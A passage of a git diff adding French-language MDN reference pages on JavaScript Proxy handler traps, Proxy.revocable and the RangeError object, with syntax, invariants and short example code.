  • L'accès à une propriété héritée : toto in Object.create(proxy)
    • +
  • Accès via l'instruction with : with(proxy) { (foo); }
    • +
  • {{jsxref("Reflect.has()")}}
    • +
+ +

Invariants

+ +

Si les invariants suivants ne sont pas respectés, le proxy lèvera une exception {{jsxref("TypeError")}} :

+ +
    +
  • Une propriété ne peut pas être indiquée comme non-existante s'il existe une propriété correspondante de l'objet cible qui est une propriété propre et non-configurable.
    • +
  • Une propriété ne peut pas être indiquée comme non-existante s'il existe une propriété correspondante propre sur l'objet cible et que celui-ci n'est pas extensible.
    • +
+ +

Exemples

+ +

Dans l'exemple qui suit, on intercepte l'opérateur {{jsxref("Opérateurs/L_opérateur_in", "in")}} :

+ +
var p = new Proxy({}, {
+  has: function(cible, prop) {
+    console.log("appelée : " + prop);
+    return true;
+  }
+});
+
+console.log("a" in p); // "appelée : a"
+                       // true
+
+ +

L'exemple suivant ne respecte pas un invariant :

+ +
var obj = { a: 10 };
+Object.preventExtensions(obj);
+var p = new Proxy(obj, {
+  has: function(cible, prop) {
+    return false;
+  }
+});
+
+"a" in p; // TypeError levée
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-hasproperty-p', '[[HasProperty]]')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-hasproperty-p', '[[HasProperty]]')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Proxy.handler.has")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Proxy")}}
    • +
  • {{jsxref("Proxy.handler", "handler")}}
    • +
  • L'opérateur {{jsxref("Opérateurs/L_opérateur_in", "in")}}
    • +
  • {{jsxref("Reflect.has()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/proxy/proxy/index.html b/files/fr/web/javascript/reference/global_objects/proxy/proxy/index.html new file mode 100644 index 0000000000..0611c7bcd2 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/proxy/proxy/index.html @@ -0,0 +1,83 @@ +--- +title: Gestionnaire de Proxy (handler) +slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler +tags: + - ECMAScript 2015 + - JavaScript + - Proxy + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy +translation_of_original: Web/JavaScript/Reference/Global_Objects/Proxy/handler +--- +
{{JSRef}}
+ +

L'objet gestionnaire d'un proxy est un objet qui contient les trappes de captures (traps) pour le  {{jsxref("Proxy", "proxy", "", 1)}}.

+ +

Méthodes

+ +

Toutes ces trappes sont optionnelles. Si une trappe n'a pas été définie, le comportement par défaut sera de transmettre l'opération à la cible.

+ +
+
{{jsxref("Objets_globaux/Proxy/handler/getPrototypeOf", "handler.getPrototypeOf()")}}
+
Une trappe pour {{jsxref("Object.getPrototypeOf")}}.
+
{{jsxref("Objets_globaux/Proxy/handler/setPrototypeOf", "handler.setPrototypeOf()")}}
+
Une trappe pour {{jsxref("Object.setPrototypeOf")}}.
+
{{jsxref("Objets_globaux/Proxy/handler/isExtensible", "handler.isExtensible()")}}
+
Une trappe pour {{jsxref("Object.isExtensible")}}.
+
{{jsxref("Objets_globaux/Proxy/handler/preventExtensions", "handler.preventExtensions()")}}
+
Une trappe pour {{jsxref("Object.preventExtensions")}}.
+
{{jsxref("Objets_globaux/Proxy/handler/getOwnPropertyDescriptor", "handler.getOwnPropertyDescriptor()")}}
+
Une trappe pour {{jsxref("Object.getOwnPropertyDescriptor")}}.
+
{{jsxref("Objets_globaux/Proxy/handler/defineProperty", "handler.defineProperty()")}}
+
Une trappe pour {{jsxref("Object.defineProperty")}}.
+
{{jsxref("Objets_globaux/Proxy/handler/has", "handler.has()")}}
+
Une trappe pour l'opérateur {{jsxref("Opérateurs/L_opérateur_in", "in")}}.
+
{{jsxref("Objets_globaux/Proxy/handler/get", "handler.get()")}}
+
Une trappe pour l'accès aux valeurs des propriétés.
+
{{jsxref("Objets_globaux/Proxy/handler/set", "handler.set()")}}
+
Une trappe pour la définition des valeurs des propriétés.
+
{{jsxref("Objets_globaux/Proxy/handler/deleteProperty", "handler.deleteProperty()")}}
+
Une trappe pour l'opérateur {{jsxref("Opérateurs/L_opérateur_delete", "delete")}}.
+
{{jsxref("Objets_globaux/Proxy/handler/ownKeys", "handler.ownKeys()")}}
+
Une trappe pour {{jsxref("Object.getOwnPropertyNames")}} et {{jsxref("Object.getOwnPropertySymbols")}}.
+
{{jsxref("Objets_globaux/Proxy/handler/apply", "handler.apply()")}}
+
Une trappe pour l'appel d'une fonction.
+
{{jsxref("Objets_globaux/Proxy/handler/construct", "handler.construct()")}}
+
Une trappe pour l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}.
+
+ +

Certaines trappes non standards sont désormais obsolètes et ont été supprimées.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots', 'Proxy Object Internal Methods and Internal Slots')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots', 'Proxy Object Internal Methods and Internal Slots')}}{{Spec2('ESDraft')}}La trappe pour enumerate a été retirée.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Proxy.handler")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Proxy")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/proxy/proxy/isextensible/index.html b/files/fr/web/javascript/reference/global_objects/proxy/proxy/isextensible/index.html new file mode 100644 index 0000000000..df26cad63d --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/proxy/proxy/isextensible/index.html @@ -0,0 +1,123 @@ +--- +title: handler.isExtensible() +slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/isExtensible +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Proxy + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/isExtensible +--- +
{{JSRef}}
+ +

La méthode handler.isExtensible() est une trappe pour intercepter les opérations de {{jsxref("Object.isExtensible()")}}.

+ +
{{EmbedInteractiveExample("pages/js/proxyhandler-isextensible.html", "taller")}}
+ + + +

Syntaxe

+ +
var p = new Proxy(cible, {
+  isExtensible: function(cible) {
+  }
+});
+
+ +

Paramètres

+ +

Les paramètres suivants sont passés à la méthode isExtensible. this est ici lié au gestionnaire (handler).

+ +
+
cible
+
L'objet cible.
+
+ +

Valeur de retour

+ +

La méthode isExtensible doit renvoyer une valeur booléenne.

+ +

Description

+ +

La méthode handler.isExtensible() est une trappe pour intercepter {{jsxref("Object.isExtensible()")}}.

+ +

Interceptions

+ +

Cette trappe intercepte les opérations suivantes :

+ +
    +
  • {{jsxref("Object.isExtensible()")}}
    • +
  • {{jsxref("Reflect.isExtensible()")}}
    • +
+ +

Invariants

+ +

Si les invariants suivants ne sont pas respectés, le proxy renverra une exception  {{jsxref("TypeError")}} :

+ +
    +
  • Object.isExtensible(proxy) doit renvoyer la même valeur que Object.isExtensible(cible).
    • +
+ +

Exemples

+ +

Dans l'exemple qui suit, on intercepte {{jsxref("Object.isExtensible()")}}.

+ +
var p = new Proxy({}, {
+  isExtensible: function(cible) {
+    console.log("appelée");
+    return true;
+  }
+});
+
+console.log(Object.isExtensible(p)); // "appelée"
+                                     // true
+
+ +

Le code suivante ne respecte pas l'invariant et entraîne donc une exception.

+ +
var p = new Proxy({}, {
+  isExtensible: function(cible) {
+    return false;
+  }
+});
+
+Object.isExtensible(p); // TypeError est levée
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-isextensible', '[[IsExtensible]]')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-isextensible', '[[IsExtensible]]')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Proxy.handler.isExtensible")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Proxy")}}
    • +
  • {{jsxref("Proxy.handler", "handler")}}
    • +
  • {{jsxref("Object.isExtensible()")}}
    • +
  • {{jsxref("Reflect.isExtensible()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/proxy/proxy/ownkeys/index.html b/files/fr/web/javascript/reference/global_objects/proxy/proxy/ownkeys/index.html new file mode 100644 index 0000000000..b60a836ded --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/proxy/proxy/ownkeys/index.html @@ -0,0 +1,136 @@ +--- +title: handler.ownKeys() +slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/ownKeys +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Proxy + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/ownKeys +--- +
{{JSRef}}
+ +

La méthode handler.ownKeys() est une trappe pour {{jsxref("Object.getOwnPropertyNames()")}}.

+ +
{{EmbedInteractiveExample("pages/js/proxyhandler-ownkeys.html", "taller")}}
+ + + +

Syntaxe

+ +
var p = new Proxy(cible, {
+  ownKeys: function(cible) {
+  }
+});
+
+ +

Paramètres

+ +

Le paramètre suivant est passé à la méthode ownKeys. this est lié au gestionnaire.

+ +
+
cible
+
L'objet cible.
+
+ +

Valeur de retour

+ +

La méthode ownKeys doit renvoyer un objet énumérable.

+ +

Description

+ +

La méthode handler.ownKeys() est une trappe pour intercepter les opérations de {{jsxref("Object.getOwnPropertyNames()")}}.

+ +

Interceptions

+ +

Cette trappe permet d'intercepter les opérations suivantes :

+ +
    +
  • {{jsxref("Object.getOwnPropertyNames()")}}
    • +
  • {{jsxref("Object.getOwnPropertySymbols()")}}
    • +
  • {{jsxref("Object.keys()")}}
    • +
  • {{jsxref("Reflect.ownKeys()")}}
    • +
+ +

Invariants

+ +

Si les invariants suivants ne sont pas respectés, le proxy renverra une exception {{jsxref("TypeError")}} :

+ +
    +
  • Le résultat de ownKeys doit être un tableau.
    • +
  • Le type de chaque élément de ce tableau est soit une {{jsxref("String")}}, soit un {{jsxref("Symbol")}}.
    • +
  • Le tableau résultant doit contenir les clés de toutes les propriétés propres non-configurables de l'objet cible.
    • +
  • Si l'objet cible n'est pas extensible, la liste obtenue doit contenir toutes les clés pour les propriétés propres et aucune autre valeur.
    • +
+ +

Exemples

+ +

Dans l'exemple suivant, on intercepte l'action de {{jsxref("Object.getOwnPropertyNames()")}}.

+ +
var p = new Proxy({}, {
+  ownKeys: function(target) {
+    console.log("appelée");
+    return ["a", "b", "c"];
+  }
+});
+
+console.log(Object.getOwnPropertyNames(p)); // "appelée"
+                                            // [ "a", "b", "c"]
+
+ +

L'exemple suivant ne respecte pas l'ensemble des invariants :

+ +
var obj = {};
+Object.defineProperty(obj, "a", {
+  configurable: false,
+  enumerable: true,
+  value: 10 }
+);
+
+var p = new Proxy(obj, {
+  ownKeys: function(cible) {
+    return [123, 12.5, true, false, undefined, null, {}, []];
+  }
+});
+
+console.log(Object.getOwnPropertyNames(p));
+// TypeError est levée
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-ownpropertykeys', '[[OwnPropertyKeys]]')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-ownpropertykeys', '[[OwnPropertyKeys]]')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Proxy.handler.ownKeys")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Proxy")}}
    • +
  • {{jsxref("Proxy.handler", "handler")}}
    • +
  • {{jsxref("Object.getOwnPropertyNames()")}}
    • +
  • {{jsxref("Reflect.ownKeys()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/proxy/proxy/preventextensions/index.html b/files/fr/web/javascript/reference/global_objects/proxy/proxy/preventextensions/index.html new file mode 100644 index 0000000000..e62fa36d4e --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/proxy/proxy/preventextensions/index.html @@ -0,0 +1,124 @@ +--- +title: handler.preventExtensions() +slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/preventExtensions +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Proxy + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/preventExtensions +--- +
{{JSRef}}
+ +

La méthode handler.preventExtensions() est une trappe pour {{jsxref("Object.preventExtensions()")}}.

+ +
{{EmbedInteractiveExample("pages/js/proxyhandler-preventextensions.html", "taller")}}
+ + + +

Syntaxe

+ +
var p = new Proxy(cible, {
+  preventExtensions: function(cible) {
+  }
+});
+
+ +

Paramètres

+ +

Le paramètre suivant est passé à la méthode preventExtensions. this est lié au gestionnaire (handler).

+ +
+
cible
+
L'objet cible.
+
+ +

Valeur de retour

+ +

La méthode preventExtensions doit renvoyer une valeur booléenne.

+ +

Description

+ +

La méthode handler.preventExtensions() est une trappe pour intercepter {{jsxref("Object.preventExtensions()")}}.

+ +

Interceptions

+ +

Cette trappe peut intercepter les opérations de :

+ +
    +
  • {{jsxref("Object.preventExtensions()")}}
    • +
  • {{jsxref("Reflect.preventExtensions()")}}
    • +
+ +

Invariants

+ +

Si les invariants suivants ne sont pas respectés, le proxy renverra une execption {{jsxref("TypeError")}} :

+ +
    +
  • Object.preventExtensions(proxy) ne renvoie true que si Object.isExtensible(proxy) vaut false.
    • +
+ +

Exemples

+ +

On intercepte l'appel à {{jsxref("Object.preventExtensions()")}} dans l'exemple suivant :

+ +
var p = new Proxy({}, {
+  preventExtensions: function(cible) {
+    console.log("appelé");
+    Object.preventExtensions(cible);
+    return true;
+  }
+});
+
+console.log(Object.preventExtensions(p)); // "appelé"
+                                          // true
+
+ +

Le code suivant ne respecte pas l'invariant :

+ +
var p = new Proxy({}, {
+  preventExtensions: function(cible) {
+    return true;
+  }
+});
+
+Object.preventExtensions(p); // TypeError est levée
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-preventextensions', '[[PreventExtensions]]')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-preventextensions', '[[PreventExtensions]]')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Proxy.handler.preventExtensions")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Proxy")}}
    • +
  • {{jsxref("Proxy.handler", "handler")}}
    • +
  • {{jsxref("Object.preventExtensions()")}}
    • +
  • {{jsxref("Reflect.preventExtensions()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/proxy/proxy/set/index.html b/files/fr/web/javascript/reference/global_objects/proxy/proxy/set/index.html new file mode 100644 index 0000000000..11270be519 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/proxy/proxy/set/index.html @@ -0,0 +1,125 @@ +--- +title: handler.set() +slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/set +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Proxy + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/set +--- +
{{JSRef}}
+ +

La méthode handler.set() est une trappe permettant d'intercepter les opérations visant à définir ou modifier la valeur d'une propriété.

+ +
{{EmbedInteractiveExample("pages/js/proxyhandler-set.html", "taller")}}
+ + + +

Syntaxe

+ +
var p = new Proxy(cible, {
+  set: function(cible, propriété, valeur, récepteur) {
+  }
+});
+
+ +

Paramètres

+ +

Les paramètres suivants sont passés à la méthode set. this est lié au gestionnaire.

+ +
+
cible
+
L'objet cible.
+
propriété
+
Le nom ou le symbole ({{jsxref("Symbol")}}) de la propriété à définir.
+
valeur
+
La nouvelle valeur à définir pour la propriété.
+
récepteur
+
L'objet intialement visé par l'affectation. Généralement ce sera le proxy lui-même. Le gestionnaire set peut également être appelé indirectement, via la chaîne de prototypes ou d'autres façons.
+
Par exemple, si on exécute l'instruction obj.nom = "Jean", et qu'obj n'est pas un proxy ni ne possède de propriété nom mais s'il possède un proxy dans sa chaîne de prototypes, le gestionnaire set sera appelé et obj sera passé en tant que récepteur.
+
+ +

Valeur de retour

+ +

La méthode set doit renvoyer une valeur booléenne. Elle renvoie true pour indiquer que l'affectation a réussi. Si la méthode set renvoie false et que l'affectation était exécutée dans du code en mode strict, une exception {{jsxref("TypeError")}} sera levée.

+ +

Description

+ +

La méthode handler.set est une trappe qui permet d'intercepter les opérations qui sont utilisées pour définir ou modifier la valeur d'une propriété.

+ +

Interceptions

+ +

Cette trappe permet d'intercepter les opérations suivantes :

+ +
    +
  • L'affectation à des propriétés : proxy[toto] = truc et proxy.toto = truc
    • +
  • L'affectation de propriétés héritées : Object.create(proxy)[toto] = truc
    • +
  • {{jsxref("Reflect.set()")}}
    • +
+ +

Invariants

+ +

Si les invariants suivants ne sont pas respectés, le proxy renverra une exception {{jsxref("TypeError")}} :

+ +
    +
  • Il est impossible de modifier la valeur d'une propriété pour qu'elle soit différente de la valeur de la propriété correspondante de l'objet cible si celle-ci n'est pas accessible en lecture seule et est non-configurable (pour les propriétés de données).
    • +
  • Il est impossible de modifier la valeur d'une propriété si la propriété correspondante de l'objet cible est une propriété d'accesseur/mutateur dont l'attribut [[Set]] vaut undefined.
    • +
  • En mode strict, si le gestionnaire set renvoie une valeur fausse (dans un contexte booléen), cela lèvera une exception {{jsxref("TypeError")}}.
    • +
+ +

Exemples

+ +

Dans l'exemple qui suit, on intercepte la définition d'une nouvelle propriété.

+ +
var p = new Proxy({}, {
+  set: function(target, prop, value, receiver) {
+    target[prop] = value;
+    console.log('property set: ' + prop + ' = ' + value);
+    return true;
+  }
+});
+
+console.log('a' in p);  // false
+
+p.a = 10;               // "property set: a = 10"
+console.log('a' in p);  // true
+console.log(p.a);       // 10
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-set-p-v-receiver', '[[Set]]')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-set-p-v-receiver', '[[Set]]')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Proxy.handler.set")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Proxy")}}
    • +
  • {{jsxref("Proxy.handler", "handler")}}
    • +
  • {{jsxref("Reflect.set()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/proxy/proxy/setprototypeof/index.html b/files/fr/web/javascript/reference/global_objects/proxy/proxy/setprototypeof/index.html new file mode 100644 index 0000000000..61c288637a --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/proxy/proxy/setprototypeof/index.html @@ -0,0 +1,136 @@ +--- +title: handler.setPrototypeOf() +slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/setPrototypeOf +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Proxy + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/setPrototypeOf +--- +
{{JSRef}}
+ +

La méthode handler.setPrototypeOf() est une trappe pour intercepter {{jsxref("Object.setPrototypeOf()")}}.

+ +
{{EmbedInteractiveExample("pages/js/proxyhandler-setprototypeof.html", "taller", "taller")}}
+ + + +

Syntaxe

+ +
var p = new Proxy(cible, {
+  setPrototypeOf: function(cible, prototype) {
+  }
+});
+
+ +

Paramètres

+ +

Les paramètres suivants sont passés à la méthode setPrototypeOf. this est lié au gestionnaire.

+ +
+
cible
+
L'objet cible.
+
prototype
+
Le nouveau prototype de l'objet ou null.
+
+ +

Valeur de retour

+ +

La méthode setPrototypeOf renvoie true si la propriété interne [[Prototype]] a bien été modifiée et false sinon.

+ +

Description

+ +

La méthode handler.setPrototypeOf est une trappe utilisée pour intercepter les opérations de {{jsxref("Object.setPrototypeOf()")}}.

+ +

Interceptions

+ +

Cette trappe permet d'intercepter :

+ +
    +
  • {{jsxref("Object.setPrototypeOf()")}}
    • +
  • {{jsxref("Reflect.setPrototypeOf()")}}
    • +
+ +

Invariants

+ +

Si les invariants suivants ne sont pas respectés, le proxy renverra une exception {{jsxref("TypeError")}} :

+ +
    +
  • Si cible n'est pas extensible, le paramètre prototype doit être le même valeur que Object.getPrototypeOf(cible).
    • +
+ +

Exemples

+ +

Si on souhaite interdire la définition d'un nouveau prototype pour un objet, on peut utiliser une méthode setPrototypeOf qui renvoie false ou qui génère une exception.

+ +

Avec cette première approche, toute opération qui voudra modifier le prototype génèrera une exception. On aura par exemple {{jsxref("Object.setPrototypeOf()")}} qui créera et lèvera l'exception TypeError. Si la modification est effectuée par une opération qui ne génère pas d'exception en cas d'échec (comme  {{jsxref("Reflect.setPrototypeOf()")}}), aucune exception ne sera générée.

+ +
var handlerReturnsFalse = {
+    setPrototypeOf(target, newProto) {
+        return false;
+    }
+};
+
+var newProto = {}, target = {};
+
+var p1 = new Proxy(target, handlerReturnsFalse);
+Object.setPrototypeOf(p1, newProto);
+// lève une TypeError
+Reflect.setPrototypeOf(p1, newProto);
+// renvoie false
+
+ +

Avec cette seconde approche, toute tentative de modification génèrera une exception. On utilisera celle-ci lorsqu'on souhaite qu'une erreur se produisent, y compris pour les opérations qui ne génèrent habituellement pas d'exception ou si on souhaite générer une exception sur mesure.

+ +
var handlerThrows = {
+    setPrototypeOf(target, newProto) {
+        throw new Error("erreur custom");
+    }
+};
+
+var newProto = {}, target = {};
+
+var p2 = new Proxy(target, handlerThrows);
+Object.setPrototypeOf(p2, newProto);
+// lève une exception new Error("erreur custom")
+Reflect.setPrototypeOf(p2, newProto);
+// lève une exception new Error("erreur custom")
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-setprototypeof-v', '[[SetPrototypeOf]]')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-setprototypeof-v', '[[SetPrototypeOf]]')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Proxy.handler.setPrototypeOf")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Proxy")}}
    • +
  • {{jsxref("Proxy.handler", "handler")}}
    • +
  • {{jsxref("Object.setPrototypeOf()")}}
    • +
  • {{jsxref("Reflect.setPrototypeOf()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/proxy/revocable/index.html b/files/fr/web/javascript/reference/global_objects/proxy/revocable/index.html new file mode 100644 index 0000000000..794c7f95be --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/proxy/revocable/index.html @@ -0,0 +1,92 @@ +--- +title: Proxy.revocable() +slug: Web/JavaScript/Reference/Objets_globaux/Proxy/revocable +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Proxy + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/revocable +--- +
{{JSRef}}
+ +

La méthode Proxy.revocable() est utilisée afin de créer un objet {{jsxref("Proxy")}} révocable.

+ +

Syntaxe

+ +
Proxy.revocable(cible, gestionnaire);
+
+ +

Paramètres

+ +
{{Page("/fr/docs/Web/JavaScript/Reference/Objets_globaux/Proxy", "Paramètres")}}
+ +

Valeur de retour

+ +

Un nouvel objet Proxy révocable est renvoyé par la méthode.

+ +

Description

+ +

Un Proxy révocable est un objet qui possède les propriétés suivantes : {proxy: proxy, revoke: revoke}.

+ +
+
proxy
+
Un proxy crée avec un appel à new Proxy(cible, gestionnaire).
+
revoke
+
Une fonction sans argument qui permet de désactiver le proxy.
+
+ +

Si la fonction revoke() est appelée, le proxy devient inutilisable et toutes les trappes définies via un gestionnaire lèveront une exception {{jsxref("TypeError")}}. Une fois que le proxy est révoqué, il conserve cet état et peut être traité par le ramasse-miettes. D'éventuels appels suivants à revoke() n'auront aucun effet.

+ +

Exemples

+ +
var révocable = Proxy.revocable({}, {
+  get: function(cible, nom) {
+    return "[[" + nom + "]]";
+  }
+});
+var proxy = révocable.proxy;
+console.log(proxy.toto); // "[[toto]]"
+
+révocable.revoke();
+
+console.log(proxy.toto); // TypeError est levée
+proxy.toto = 1           // TypeError à nouveau
+delete proxy.toto        // TypeError toujours
+typeof proxy             // "object", typeof ne déclenche aucune trappe
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-proxy.revocable', 'Proxy Revocation Functions')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-proxy.revocable', 'Proxy Revocation Functions')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Proxy.revocable")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Proxy")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/rangeerror/index.html b/files/fr/web/javascript/reference/global_objects/rangeerror/index.html new file mode 100644 index 0000000000..e57f56c4dd --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/rangeerror/index.html @@ -0,0 +1,150 @@ +--- +title: RangeError +slug: Web/JavaScript/Reference/Objets_globaux/RangeError +tags: + - Error + - JavaScript + - RangeError + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/RangeError +--- +
{{JSRef}}
+ +

L'objet RangeError permet d'indiquer une erreur lorsqu'une valeur fournie n'appartient pas à l'intervalle autorisé.

+ +

Syntaxe

+ +
new RangeError([message[, nomFichier[, numLigne]]])
+ +

Paramètres

+ +
+
message
+
Paramètre optionnel. Une description lisible (humainement) de l'erreur.
+
+ +
+
nomFichier {{non-standard_inline}}
+
Paramètre optionnel. Le nom du fichier contenant le code à l'origine de cette exception.
+
+ +
+
numLigne {{non-standard_inline}}
+
Paramètre optionnel. Le numéro de la ligne du code à l'origine de cette exception.
+
+ +

Description

+ +

Une exception RangeError est levée lorsqu'une valeur est passée comme argument à une fonction qui n'accepte pas de valeurs dans cet intervalle. Par exemple, cela peut être le cas quand on souhaite créer un tableau avec une longueur illégale via {{jsxref("Array")}} ou lorsqu'on passe des valeurs incorrectes aux méthodes {{jsxref("Number.toExponential()")}}, {{jsxref("Number.toFixed()")}} ou {{jsxref("Number.toPrecision()")}}. Cette exception n'est pas limitée aux problèmes d'intervalles numériques et peuvent également se produire lorsqu'on passe une valeur non autorisée à {{jsxref("String.prototype.normalize()")}}.

+ +

Propriétés

+ +
+
{{jsxref("RangeError.prototype")}}
+
Cette propriété permet d'ajouter des propriétés à toutes les instances de RangeError.
+
+ +

Méthodes

+ +

L'objet global RangeError ne contient pas de méthodes propres mais héritent de certaines méthodes via la chaîne de prototypes.

+ +

Instances de RangeError

+ +

Propriétés

+ +

{{ page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/RangeError/prototype','Properties') }}

+ +

Méthodes

+ +

{{ page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/RangeError/prototype','Methods') }}

+ +

Exemples

+ +

Utiliser RangeError

+ +
var MIN = 200;
+var MAX = 300;
+var vérifier = function( num ) {
+  if( num < MIN || num > MAX ) {
+    throw new RangeError( "Le paramètre doit être compris entre " + MIN + " et " + MAX );
+  }
+};
+
+try {
+  vérifier(500);
+}
+catch (e) {
+  if (e instanceof RangeError ){
+    // On gère ce qui se passe en cas d'erreur
+  }
+}
+ +

Utiliser RangeError avec des valeurs non-numériques

+ +
function verifier(valeur){
+  if(["pomme", "banane", "carotte"].includes(valeur) === false){
+    throw new RangeError("L'argument n'est pas un fruit parmi pomme / banane ou carotte.");
+  }
+}
+
+try {
+  verifier("chou");
+}
+catch(erreur) {
+  if(erreur instanceof RangeError){
+    //On gère ce qui se passe en cas d'erreur
+  }
+}
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.11.6.2', 'RangeError')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-rangeerror', 'RangeError')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-rangeerror', 'RangeError')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.RangeError")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Error")}}
    • +
  • {{jsxref("Array")}}
    • +
  • {{jsxref("RangeError.prototype")}}
    • +
  • {{jsxref("Number.toExponential()")}}
    • +
  • {{jsxref("Number.toFixed()")}}
    • +
  • {{jsxref("Number.toPrecision()")}}
    • +
  • {{jsxref("String.prototype.normalize()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/referenceerror/index.html b/files/fr/web/javascript/reference/global_objects/referenceerror/index.html new file mode 100644 index 0000000000..497cd92dd5 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/referenceerror/index.html @@ -0,0 +1,131 @@ +--- +title: ReferenceError +slug: Web/JavaScript/Reference/Objets_globaux/ReferenceError +tags: + - Error + - JavaScript + - Object + - Reference + - ReferenceError +translation_of: Web/JavaScript/Reference/Global_Objects/ReferenceError +--- +
{{JSRef}}
